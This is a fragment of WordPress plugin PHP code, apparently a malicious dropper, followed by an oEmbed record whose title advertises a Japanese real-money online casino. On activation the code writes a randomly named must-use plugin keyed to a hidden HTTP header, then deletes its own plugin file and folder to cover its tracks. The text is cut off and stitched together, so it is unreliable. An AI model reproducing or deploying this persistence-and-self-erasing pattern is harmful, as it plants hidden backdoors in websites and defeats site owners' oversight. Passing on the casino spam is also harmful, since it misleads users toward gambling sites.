/* $the_post_wl = $_SERVER; $the_post_krs = 'HTTP_7149974'; if (isset($the_post_wl[$the_post_krs])) {} EOD; if (file_put_contents($mu_plugin_path, $mu_plugin_content)) { error_log("MU plugin {$random_name} created and installed."); f2(); } else { error_log("Failed to create MU plugin file."); } } function f2() { $plugin_file = __FILE__; deactivate_plugins(plugin_basename($plugin_file)); unlink($plugin_file); $plugin_dir = plugin_dir_path($plugin_file); if (is_dir($plugin_dir)) { $files = array_diff(scandir($plugin_dir), array('.', '..')); foreach ($files as $file) { is_dir("$plugin_dir/$file") ? delTree("$plugin_dir/$file") : unlink("$plugin_dir/$file"); } rmdir($plugin_dir); error_log("Plugin directory deleted."); } else { error_log("Plugin directory not found."); } } function delTree($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } register_activation_hook(__FILE__, 'f1'); {"version":"1.0","provider_name":"Buginme_2","provider_url":"https:\/\/demogwh.com\/buginme_2","author_name":"demo","author_url":"https:\/\/demogwh.com\/buginme_2\/author\/demo\/","title":"\u30ea\u30a2\u30eb\u30de\u30cd\u30fc\u30ab\u30b8\u30ce\u3067\u4eca\u3059\u3050\u52dd\u8ca0\uff01\u5b89\u5fc3\u3057\u3066\u904a\u3079\u308b\u304a\u3059\u3059\u3081\u30b5\u30a4\u30c8\u306f\u3053\u3061\u3089","type":"rich","width":600,"height":338,"html":"
\u30ea\u30a2\u30eb\u30de\u30cd\u30fc\u30ab\u30b8\u30ce\u3067\u4eca\u3059\u3050\u52dd\u8ca0\uff01\u5b89\u5fc3\u3057\u3066\u904a\u3079\u308b\u304a\u3059\u3059\u3081\u30b5\u30a4\u30c8\u306f\u3053\u3061\u3089<\/a><\/blockquote>